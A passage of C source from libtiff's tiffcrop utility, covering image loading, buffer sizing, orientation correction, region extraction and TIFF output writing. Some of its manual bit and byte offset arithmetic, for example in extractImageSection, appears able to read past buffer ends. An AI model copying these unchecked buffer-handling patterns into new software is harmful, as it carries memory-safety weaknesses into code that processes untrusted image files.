ntiles; if (tlsize != (buffsize / ntiles)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } if (buffsize < (uint32)(ntiles * tl * tile_rowsize)) { buffsize = ntiles * tl * tile_rowsize; if (ntiles != (buffsize / tl / tile_rowsize)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } #ifdef DEBUG2 TIFFError("loadImage", "Tilesize %u is too small, using ntiles * tilelength * tilerowsize %lu", tlsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Tilesize: %u, Number of Tiles: %u, Tile row size: %u", tlsize, ntiles, tile_rowsize); } else { uint32 buffsize_check; readunit = STRIP; TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); stsize = TIFFStripSize(in); nstrips = TIFFNumberOfStrips(in); if (nstrips == 0 || stsize == 0) { TIFFError("loadImage", "File appears to be striped, but the number of stipes or stripe size is zero."); exit(-1); } buffsize = stsize * nstrips; if (stsize != (buffsize / nstrips)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } buffsize_check = ((length * width * spp * bps) + 7); if (length != ((buffsize_check - 7) / width / spp / bps)) { TIFFError("loadImage", "Integer overflow detected."); exit(-1); } if (buffsize < (uint32) (((length * width * spp * bps) + 7) / 8)) { buffsize = ((length * width * spp * bps) + 7) / 8; #ifdef DEBUG2 TIFFError("loadImage", "Stripsize %u is too small, using imagelength * width * spp * bps / 8 = %lu", stsize, (unsigned long)buffsize); #endif } if (dump->infile != NULL) dump_info (dump->infile, dump->format, "", "Stripsize: %u, Number of Strips: %u, Rows per Strip: %u, Scanline size: %u", stsize, nstrips, rowsperstrip, scanlinesize); } if (input_compression == COMPRESSION_JPEG) { /* Force conversion to RGB */ jpegcolormode = JPEGCOLORMODE_RGB; TIFFSetField(in, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } /* The clause up to the read statement is taken from Tom Lane's tiffcp patch */ else { /* Otherwise, can't handle subsampled input */ if (input_photometric == PHOTOMETRIC_YCBCR) { TIFFGetFieldDefaulted(in, TIFFTAG_YCBCRSUBSAMPLING, &subsampling_horiz, &subsampling_vert); if (subsampling_horiz != 1 || subsampling_vert != 1) { TIFFError("loadImage", "Can't copy/convert subsampled image with subsampling %d horiz %d vert", subsampling_horiz, subsampling_vert); return (-1); } } } read_buff = *read_ptr; /* +3 : add a few guard bytes since reverseSamples16bits() can read a bit */ /* outside buffer */ if (!read_buff) read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); else { if (prev_readsize < buffsize) { new_buff = _TIFFrealloc(read_buff, buffsize+3); if (!new_buff) { free (read_buff); read_buff = (unsigned char *)_TIFFmalloc(buffsize+3); } else read_buff = new_buff; } } if (!read_buff) { TIFFError("loadImage", "Unable to allocate/reallocate read buffer"); return (-1); } read_buff[buffsize] = 0; read_buff[buffsize+1] = 0; read_buff[buffsize+2] = 0; prev_readsize = buffsize; *read_ptr = read_buff; /* N.B. The read functions used copy separate plane data into a buffer as interleaved * samples rather than separate planes so the same logic works to extract regions * regardless of the way the data are organized in the input file. */ switch (readunit) { case STRIP: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigStripsIntoBuffer(in, read_buff))) { TIFFError("loadImage", "Unable to read contiguous strips into buffer"); return (-1); } } else { if (!(readSeparateStripsIntoBuffer(in, read_buff, length, width, spp, dump))) { TIFFError("loadImage", "Unable to read separate strips into buffer"); return (-1); } } break; case TILE: if (planar == PLANARCONFIG_CONTIG) { if (!(readContigTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read contiguous tiles into buffer"); return (-1); } } else { if (!(readSeparateTilesIntoBuffer(in, read_buff, length, width, tw, tl, spp, bps))) { TIFFError("loadImage", "Unable to read separate tiles into buffer"); return (-1); } } break; default: TIFFError("loadImage", "Unsupported image file format"); return (-1); break; } if ((dump->infile != NULL) && (dump->level == 2)) { dump_info (dump->infile, dump->format, "loadImage", "Image width %d, length %d, Raw image data, %4d bytes", width, length, buffsize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d", bps, spp); for (i = 0; i < length; i++) dump_buffer(dump->infile, dump->format, 1, scanlinesize, i, read_buff + (i * scanlinesize)); } return (0); } /* end loadImage */ static int correct_orientation(struct image_data *image, unsigned char **work_buff_ptr) { uint16 mirror, rotation; unsigned char *work_buff; work_buff = *work_buff_ptr; if ((image == NULL) || (work_buff == NULL)) { TIFFError ("correct_orientatin", "Invalid image or buffer pointer"); return (-1); } if ((image->adjustments & MIRROR_HORIZ) || (image->adjustments & MIRROR_VERT)) { mirror = (uint16)(image->adjustments & MIRROR_BOTH); if (mirrorImage(image->spp, image->bps, mirror, image->width, image->length, work_buff)) { TIFFError ("correct_orientation", "Unable to mirror image"); return (-1); } } if (image->adjustments & ROTATE_ANY) { if (image->adjustments & ROTATECW_90) rotation = (uint16) 90; else if (image->adjustments & ROTATECW_180) rotation = (uint16) 180; else if (image->adjustments & ROTATECW_270) rotation = (uint16) 270; else { TIFFError ("correct_orientation", "Invalid rotation value: %d", image->adjustments & ROTATE_ANY); return (-1); } if (rotateImage(rotation, image, &image->width, &image->length, work_buff_ptr)) { TIFFError ("correct_orientation", "Unable to rotate image"); return (-1); } image->orientation = ORIENTATION_TOPLEFT; } return (0); } /* end correct_orientation */ /* Extract multiple zones from an image and combine into a single composite image */ static int extractCompositeRegions(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 i, trailing_bits, prev_trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_rowsize, dst_rowsize, src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint32 prev_length, prev_width, composite_width; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract one or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src = read_buff; dst = crop_buff; /* These are setup for adding additional sections */ prev_width = prev_length = 0; prev_trailing_bits = trailing_bits = 0; composite_width = crop->combined_width; crop->combined_width = 0; crop->combined_length = 0; for (i = 0; i < crop->selections; i++) { /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[i].y1; last_row = crop->regionlist[i].y2; first_col = crop->regionlist[i].x1; last_col = crop->regionlist[i].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; /* These should not be needed for composite images */ crop->regionlist[i].width = crop_width; crop->regionlist[i].length = crop_length; crop->regionlist[i].buffptr = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * count) + 7) / 8); switch (crop->edge_ref) { default: case EDGE_TOP: case EDGE_BOTTOM: if ((i > 0) && (crop_width != crop->regionlist[i - 1].width)) { TIFFError ("extractCompositeRegions", "Only equal width regions can be combined for -E top or bottom"); return (1); } crop->combined_width = crop_width; crop->combined_length += crop_length; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + (prev_length * dst_rowsize); switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_length += crop_length; break; case EDGE_LEFT: /* splice the pieces of each row together, side by side */ case EDGE_RIGHT: if ((i > 0) && (crop_length != crop->regionlist[i - 1].length)) { TIFFError ("extractCompositeRegions", "Only equal length regions can be combined for -E left or right"); return (1); } crop->combined_width += crop_width; crop->combined_length = crop_length; dst_rowsize = (((composite_width * bps * count) + 7) / 8); trailing_bits = (crop_width * bps * count) % 8; for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset + prev_width; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractCompositeRegions", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractCompositeRegions", "Unsupported bit depth %d", bps); return (1); } } prev_width += (crop_width * bps * count) / 8; prev_trailing_bits += trailing_bits; if (prev_trailing_bits > 7) prev_trailing_bits-= 8; break; } } if (crop->combined_width != composite_width) TIFFError("combineSeparateRegions","Combined width does not match composite width"); return (0); } /* end extractCompositeRegions */ /* Copy a single region of input buffer to an output buffer. * The read functions used copy separate plane data into a buffer * as interleaved samples rather than separate planes so the same * logic works to extract regions regardless of the way the data * are organized in the input file. This function can be used to * extract one or more samples from the input image by updating the * parameters for starting sample and number of samples to copy in the * fifth and eighth arguments of the call to extractContigSamples. * They would be passed as new elements of the crop_mask struct. */ static int extractSeparateRegion(struct image_data *image, struct crop_mask *crop, unsigned char *read_buff, unsigned char *crop_buff, int region) { int shift_width, prev_trailing_bits = 0; uint32 bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, dst_rowsize; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset; uint32 crop_width, crop_length, img_width /*, img_length */; uint16 bps, spp; uint8 *src, *dst; tsample_t count, sample = 0; /* Update to extract more or more samples */ img_width = image->width; /* img_length = image->length; */ bps = image->bps; spp = image->spp; count = spp; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; /* Byte aligned data only */ else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } /* rows, columns, width, length are expressed in pixels */ first_row = crop->regionlist[region].y1; last_row = crop->regionlist[region].y2; first_col = crop->regionlist[region].x1; last_col = crop->regionlist[region].x2; crop_width = last_col - first_col + 1; crop_length = last_row - first_row + 1; crop->regionlist[region].width = crop_width; crop->regionlist[region].length = crop_length; crop->regionlist[region].buffptr = crop_buff; src = read_buff; dst = crop_buff; src_rowsize = ((img_width * bps * spp) + 7) / 8; dst_rowsize = (((crop_width * bps * spp) + 7) / 8); for (row = first_row; row <= last_row; row++) { src_offset = row * src_rowsize; dst_offset = (row - first_row) * dst_rowsize; src = read_buff + src_offset; dst = crop_buff + dst_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; } else if (extractContigSamplesShifted16bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 2: if (extractContigSamplesShifted24bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, img_width, sample, spp, bps, count, first_col, last_col + 1, prev_trailing_bits)) { TIFFError("extractSeparateRegion", "Unable to extract row %d", row); return (1); } break; default: TIFFError("extractSeparateRegion", "Unsupported bit depth %d", bps); return (1); } } return (0); } /* end extractSeparateRegion */ static int extractImageSection(struct image_data *image, struct pageseg *section, unsigned char *src_buff, unsigned char *sect_buff) { unsigned char bytebuff1, bytebuff2; #ifdef DEVELMODE /* unsigned char *src, *dst; */ #endif uint32 img_width, img_rowsize; #ifdef DEVELMODE uint32 img_length; #endif uint32 j, shift1, shift2, trailing_bits; uint32 row, first_row, last_row, first_col, last_col; uint32 src_offset, dst_offset, row_offset, col_offset; uint32 offset1, offset2, full_bytes; uint32 sect_width; #ifdef DEVELMODE uint32 sect_length; #endif uint16 bps, spp; #ifdef DEVELMODE int k; unsigned char bitset; static char *bitarray = NULL; #endif img_width = image->width; #ifdef DEVELMODE img_length = image->length; #endif bps = image->bps; spp = image->spp; #ifdef DEVELMODE /* src = src_buff; */ /* dst = sect_buff; */ #endif src_offset = 0; dst_offset = 0; #ifdef DEVELMODE if (bitarray == NULL) { if ((bitarray = (char *)malloc(img_width)) == NULL) { TIFFError ("", "DEBUG: Unable to allocate debugging bitarray"); return (-1); } } #endif /* rows, columns, width, length are expressed in pixels */ first_row = section->y1; last_row = section->y2; first_col = section->x1; last_col = section->x2; sect_width = last_col - first_col + 1; #ifdef DEVELMODE sect_length = last_row - first_row + 1; #endif img_rowsize = ((img_width * bps + 7) / 8) * spp; full_bytes = (sect_width * spp * bps) / 8; /* number of COMPLETE bytes per row in section */ trailing_bits = (sect_width * bps) % 8; #ifdef DEVELMODE TIFFError ("", "First row: %d, last row: %d, First col: %d, last col: %d\n", first_row, last_row, first_col, last_col); TIFFError ("", "Image width: %d, Image length: %d, bps: %d, spp: %d\n", img_width, img_length, bps, spp); TIFFError ("", "Sect width: %d, Sect length: %d, full bytes: %d trailing bits %d\n", sect_width, sect_length, full_bytes, trailing_bits); #endif if ((bps % 8) == 0) { col_offset = first_col * spp * bps / 8; for (row = first_row; row <= last_row; row++) { /* row_offset = row * img_width * spp * bps / 8; */ row_offset = row * img_rowsize; src_offset = row_offset + col_offset; #ifdef DEVELMODE TIFFError ("", "Src offset: %8d, Dst offset: %8d", src_offset, dst_offset); #endif _TIFFmemcpy (sect_buff + dst_offset, src_buff + src_offset, full_bytes); dst_offset += full_bytes; } } else { /* bps != 8 */ shift1 = spp * ((first_col * bps) % 8); shift2 = spp * ((last_col * bps) % 8); for (row = first_row; row <= last_row; row++) { /* pull out the first byte */ row_offset = row * img_rowsize; offset1 = row_offset + (first_col * bps / 8); offset2 = row_offset + (last_col * bps / 8); #ifdef DEVELMODE for (j = 0, k = 7; j < 8; j++, k--) { bitset = *(src_buff + offset1) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } sprintf(&bitarray[8], " "); sprintf(&bitarray[9], " "); for (j = 10, k = 7; j < 18; j++, k--) { bitset = *(src_buff + offset2) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[18] = '\0'; TIFFError ("", "Row: %3d Offset1: %d, Shift1: %d, Offset2: %d, Shift2: %d\n", row, offset1, shift1, offset2, shift2); #endif bytebuff1 = bytebuff2 = 0; if (shift1 == 0) /* the region is byte and sample alligned */ { _TIFFmemcpy (sect_buff + dst_offset, src_buff + offset1, full_bytes); #ifdef DEVELMODE TIFFError ("", " Alligned data src offset1: %8d, Dst offset: %8d\n", offset1, dst_offset); sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { bytebuff2 = src_buff[offset2] & ((unsigned char)255 << (7 - shift2)); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset2, dst_offset); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } else /* each destination byte will have to be built from two source bytes*/ { #ifdef DEVELMODE TIFFError ("", " Unalligned data src offset: %8d, Dst offset: %8d\n", offset1 , dst_offset); #endif for (j = 0; j <= full_bytes; j++) { bytebuff1 = src_buff[offset1 + j] & ((unsigned char)255 >> shift1); bytebuff2 = src_buff[offset1 + j + 1] & ((unsigned char)255 << (7 - shift1)); sect_buff[dst_offset + j] = (bytebuff1 << shift1) | (bytebuff2 >> (8 - shift1)); } #ifdef DEVELMODE sprintf(&bitarray[18], "\n"); sprintf(&bitarray[19], "\t"); for (j = 20, k = 7; j < 28; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[28] = ' '; bitarray[29] = ' '; #endif dst_offset += full_bytes; if (trailing_bits != 0) { #ifdef DEVELMODE TIFFError ("", " Trailing bits src offset: %8d, Dst offset: %8d\n", offset1 + full_bytes, dst_offset); #endif if (shift2 > shift1) { bytebuff1 = src_buff[offset1 + full_bytes] & ((unsigned char)255 << (7 - shift2)); bytebuff2 = bytebuff1 & ((unsigned char)255 << shift1); sect_buff[dst_offset] = bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 > Shift1\n"); #endif } else { if (shift2 < shift1) { bytebuff2 = ((unsigned char)255 << (shift1 - shift2 - 1)); sect_buff[dst_offset] &= bytebuff2; #ifdef DEVELMODE TIFFError ("", " Shift2 < Shift1\n"); #endif } #ifdef DEVELMODE else TIFFError ("", " Shift2 == Shift1\n"); #endif } } #ifdef DEVELMODE sprintf(&bitarray[28], " "); sprintf(&bitarray[29], " "); for (j = 30, k = 7; j < 38; j++, k--) { bitset = *(sect_buff + dst_offset) & (((unsigned char)1 << k)) ? 1 : 0; sprintf(&bitarray[j], (bitset) ? "1" : "0"); } bitarray[38] = '\0'; TIFFError ("", "\tFirst and last bytes before and after masking:\n\t%s\n\n", bitarray); #endif dst_offset++; } } } return (0); } /* end extractImageSection */ static int writeSelections(TIFF *in, TIFF **out, struct crop_mask *crop, struct image_data *image, struct dump_opts *dump, struct buffinfo seg_buffs[], char *mp, char *filename, unsigned int *page, unsigned int total_pages) { int i, page_count; int autoindex = 0; unsigned char *crop_buff = NULL; /* Where we open a new file depends on the export mode */ switch (crop->exp_mode) { case ONE_FILE_COMPOSITE: /* Regions combined into single image */ autoindex = 0; crop_buff = seg_buffs[0].buffer; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = total_pages; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case ONE_FILE_SEPARATED: /* Regions as separated images */ autoindex = 0; if (update_output_file (out, mp, autoindex, filename, page)) return (1); page_count = crop->selections * total_pages; for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_IMAGE_COMPOSITE: /* Regions as composite image */ autoindex = 1; if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[0].buffer; if (writeCroppedImage(in, *out, image, dump, crop->combined_width, crop->combined_length, crop_buff, *page, total_pages)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } break; case FILE_PER_IMAGE_SEPARATED: /* Regions as separated images */ autoindex = 1; page_count = crop->selections; if (update_output_file (out, mp, autoindex, filename, page)) return (1); for (i = 0; i < crop->selections; i++) { crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; case FILE_PER_SELECTION: autoindex = 1; page_count = 1; for (i = 0; i < crop->selections; i++) { if (update_output_file (out, mp, autoindex, filename, page)) return (1); crop_buff = seg_buffs[i].buffer; /* Write the current region to the current file */ if (writeCroppedImage(in, *out, image, dump, crop->regionlist[i].width, crop->regionlist[i].length, crop_buff, *page, page_count)) { TIFFError("writeRegions", "Unable to write new image"); return (-1); } } break; default: return (1); } return (0); } /* end writeRegions */ static int writeImageSections(TIFF *in, TIFF *out, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts * dump, unsigned char *src_buff, unsigned char **sect_buff_ptr) { double hres, vres; uint32 i, k, width, length, sectsize; unsigned char *sect_buff = *sect_buff_ptr; hres = page->hres; vres = page->vres; k = page->cols * page->rows; if ((k < 1) || (k > MAX_SECTIONS)) { TIFFError("writeImageSections", "%d Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections", k); return (-1); } for (i = 0; i < k; i++) { width = sections[i].x2 - sections[i].x1 + 1; length = sections[i].y2 - sections[i].y1 + 1; sectsize = (uint32) ceil((width * image->bps + 7) / (double)8) * image->spp * length; /* allocate a buffer if we don't have one already */ if (createImageSection(sectsize, sect_buff_ptr)) { TIFFError("writeImageSections", "Unable to allocate section buffer"); exit (-1); } sect_buff = *sect_buff_ptr; if (extractImageSection (image, &sections[i], src_buff, sect_buff)) { TIFFError("writeImageSections", "Unable to extract image sections"); exit (-1); } /* call the write routine here instead of outside the loop */ if (writeSingleSection(in, out, image, dump, width, length, hres, vres, sect_buff)) { TIFFError("writeImageSections", "Unable to write image section"); exit (-1); } } return (0); } /* end writeImageSections */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. */ static int writeSingleSection(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, double hres, double vres, unsigned char *sect_buff) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; /* Calling this seems to reset the compression mode on the TIFF *in file. TIFFGetField(in, TIFFTAG_JPEGCOLORMODE, &input_jpeg_colormode); */ input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeSingleSection", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif /* This is the global variable compression which is set * if the user has specified a command line option for * a compression option. Should be passed around in one * of the parameters instead of as a global. If no user * option specified it will still be (uint16) -1. */ if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { /* OJPEG is no longer supported for writing so upgrade to JPEG */ if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else /* Use the compression from the input file */ CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* holdout mask */ { TIFFError ("writeSingleSection", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } #ifdef DEBUG2 TIFFError("writeSingleSection", "Input photometric: %s", (input_photometric == PHOTOMETRIC_RGB) ? "RGB" : ((input_photometric == PHOTOMETRIC_YCBCR) ? "YCbCr" : "Not RGB or YCbCr")); #endif if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeSingleSection", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { /* These are references to GLOBAL variables set by defaults * and /or the compression flag */ case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeSingleSection", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); 